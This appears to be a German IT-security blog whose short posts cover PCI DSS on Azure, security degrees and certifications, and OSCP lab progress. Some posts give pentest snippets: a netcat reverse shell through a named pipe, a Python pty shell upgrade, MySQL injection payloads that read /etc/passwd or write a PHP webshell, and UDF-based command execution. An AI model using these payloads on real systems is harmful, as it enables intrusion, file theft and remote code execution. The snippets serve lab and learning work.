Zeugnis Master of Science in Security Management
Mein Zeugnis ist endlich per Post eingetroffen: Download.
Mein Zeugnis ist endlich per Post eingetroffen: Download.
Microsofts Cloud Azure wurde von dem Unternehmen Neohapsis PCI DSS zertifiziert, sodass sich Azure grundsätzlich als Cloud für Kreditkartenzahlungsanwendungen verwenden lässt. Die Nutzung einer PCI-Cloud entlässt ein Unternehmen nicht aus der Pflicht sich selbst PCI zertifizieren zu lassen. Vielmehr werden die Anforderungen des PCI DSS zwischen dem Cloud-Anbieter und dem Cloud-Kunden geteilt. Im Gegensatz zu Amazon gibt Microsoft offen an, für welche Anforderungen sie zuständig sind: Link
Manche Anforderungen gehen vollständig an Microsoft über, andere bleiben komplett beim Kunden. In einem Bereich sehe ich in der Praxis Umsetzungsschwierigkeiten: Möchte der Kunde Kreditkartendaten speichern, muss er sich um die Anforderung 3 und deren Unteranforderungen nahezu komplett selbst kümmern. Das aufwendige und komplizierte Thema Verschlüsselung inklusive dem notwendigen Key Management bleibt beim Kunden. In wie Weit die Nutzung von HSMs (Hardware Security Modules) bei Azure möglich ist, darf bezweifelt werden. Bleibt nur der Einsatz manueller Klartext-Keymanagementverfahren oder das Outsourcing der Speicherung der Kreditkartendaten an einen anderen Dienstleister. Beides ist meiner Meinung nach suboptimal.
Von der Hochschule Albstadt-Sigmaringen wird ab dem Wintersemester 2014/2015 ein Bachelor in IT-Sicherheit angeboten. Inhalte sollen u.a. Kryptologie, digitale Forensik, offensive Sicherheitsmethoden sowie Security Management sein.
Nachdem ein Bachelor eigentlich ein erster berufsqualifizierender Abschluss sein soll, bin ich bei diesem Studiengang ersteimal skeptisch, ob das wirklich funktioniert. Ich halte ein richtiges Informatikstudium mit einer späteren Spezialisierung auf IT-Security oder Security Management für wesentlich sinnvoller. Erst die Grundlagen, dann die Spezialisierung und nicht gleich die Spezialisierung!
Sicherlich werden in dem Bachelor auch Grundlagen vermittelt werden. Ich kann mir aber nicht vorstellen, dass das zeitlich alles in einer hohen Qualität möglich ist. Wer „offensive Sicherheitsmethoden“ lernt, sollte erst einmal selbst Anwendungen geschrieben haben.
Manchmal kann es so simpel sein. Ich hatte auf einem Linux-Host eine nicht-privilegierte Reverse-Shell per netcat erlangt. Neben root existierte noch ein weiterer User. Nachdem ich mehrere Stunden erfolglos Zeit in die Privilege Escalation über Exploits investiert hatte, war ich kurz vorm Aufgeben für diesen Tag.
Aus purer Verzweiflung wagte ich ein „su username“ und gab einfach als Passwort den Benutzernamen ein. Nicht nur hatte das Erfolg, der Benutzer hatte auch uneingeschränkte sudo-Rechte auf diesem Host. In weniger als einer Minute war ich root.
Wenn man selbst sehr sensibilisiert mit dem Umgang von Passwörtern ist und weiß, wie man sichere Passwörter benutzt und auch einen Passwortsafe verwendet, verschränkt es manchmal ungemein den eigenen Blickwinkel. Irgendwann kommt man nicht mehr intuitiv auf die Idee, dass trivialste Passwort zu versuchen. Manchmal ist es wirklich so simpel.
Eine Reverse-Shell mit netcat ist leider nicht interaktiv. Somit sind Tools wie sudo, mysql, su usw. nicht oder nur eingeschränkt benutzbar. Sofern auf dem Zielrechner Python installiert ist, lässt sich innerhalb der Netcat-Session einfach ein Terminal simulieren:
python -c ‚import pty; pty.spawn(„/bin/bash“)‘
Es sind einige Berufszertifikate für IT-Security-Professionals auf dem Markt, mit jeweils unterschiedlichen Schwerpunkten. Ich selbst halte zurzeit u.a. CISSP, CISM und T.I.S.P. und kann insbesondere den CISSP empfehlen. Er ist wesentlich breiter aufgestellt als der CISM und international wesentlich besser anerkannt als der TISP. Wer einen etwas größeren Fokus auf Deutschland besitzt, für den ist vielleicht der TISP empfehlenswerter. Hält man bereits einen CISSP oder TISP, sollte es kein Problem sein im Zweifel auch die andere Zertifizierung zu erlangen. Vom CISM würde ich etwas Abstand nehmen. Er richtet sich zwar explizit an Security Manager, aber man erwartet auch von einem Security Manager Kenntnisse zumindest der wichtigsten Grundlagen in IT-Security.
Dienste unnötigerweise als root bzw. mit maximalen Berechtigungen laufen zu lassen ist generell eine schlechte Idee. Besonders dämlich ist sie bei MySQL. Über LOAD_FILE und INTO OUTFILE stellt MySQL einem Angreifer ein paar praktische Möglichkeiten zur Verfügung, die sich auch problemlos über SQL Injections nutzen lassen:
SELECT LOAD_FILE(„/etc/passwd“);
SELECT ‚<?php system($_REQUEST[‚cmd‘]); ?>‘ INTO OUTFILE ‚/var/www/webshell.php
Diese beiden Funktionalitäten lassen zwar schon genug Schaden zu, es geht aber noch eine Stufe härter: Über MySQL User Defined Functions (UDF) lassen sich beliebige shell-Kommandos ausführen. Das Tool sqlmap beinhaltet die notwendigen Libs im Ordner udf. Die korrekte Lib auf den Server nach /tmp/ laden und aktivieren:
mysql> use mysql;
mysql> create table abc(line blob);
mysql> insert into abc values(load_file(‚/tmp/lib_mysqludf_sys.so‘));
mysql> select * from abc into dumpfile ‚/usr/lib/lib_mysqludf_sys.so‘;
mysql> create function sys_exec returns integer soname ‚lib_mysqludf_sys.so‘;
mysql> select sys_exec(‚touch /test‘);
Privilege escalation by MySQL…
So direkt kann ich nicht nachvollziehen, warum Backtrack bzw. jetzt Kali Linux ihre Penetration Tester konsequent als root arbeiten lassen. Ein unprivilegierter User-Account und die Nutzung von sudo wären meiner Ansicht nach die bessere Wahl. Man benutzt schließlich als Sicherheitsspezialist eine Linux-Distribution, die genauso angegriffen werden kann wie man selbst Systeme angreift.
Einen lokalen Nutzer anlegen:
adduser localuser
usermod -G sudo localuser
Manch ein netcat unterstützt nicht die Option -e, sodass eine Remote-Shell über „-e /bin/bash“ nicht funktioniert. Die Abhilfe:
kali# nc -nvlp 4444
host# mknod /tmp/pipe p
host# /bin/sh 0</tmp/pipe | nc kali 4444 1>/tmp/pipe
Eine Named Pipe erstellen. Die Named Pipe zur Eingabe der Shell lenken, die Ausgabe der Shell nach netcat pipen und die Ausgabe von netcat in die Named Pipe umlenken. Fertig ist der Workaround..
Mein aktueller Stand:
Es zieht sich etwas. Das Labor ist enorm groß. Manchmal hat man eine gute Idee und ein wenig Glück, sodass eine Maschine schnell gerootet ist. Dafür rennt man bei anderen Maschinen Angriffsvektoren hinterher, die nicht zu funktionieren scheinen.
Es fühlt sich ein klein wenig an, als würde ich wieder eine wissenschaftliche Abschlussarbeit schreiben. Der OSCP ist sicherlich interessanter, keine Frage. Parallelen gibt es dennoch. Ohne Ausdauer und Ehrgeiz ist auch der OSCP nicht zu schaffen. Insbesondere wenn man noch recht am Anfang ist und mehr als die Hälfte noch vor sich hat.
Ich schätze, dass ich bis zum Ende mehr Zeit investieren werde, als für die Vorbereitungen auf CISSP, CISM, TISP usw. zusammen. Der OSCP bringt 40 CPE für CISSP und CISM – das ist ein lachhafter Wert. Wer den OSCP in 40 Stunden inklusive Prüfung und Dokumentation erfolgreich hinter sich bringt, hat meine Bewunderung verdient. Ich halte das für nahezu unmöglich.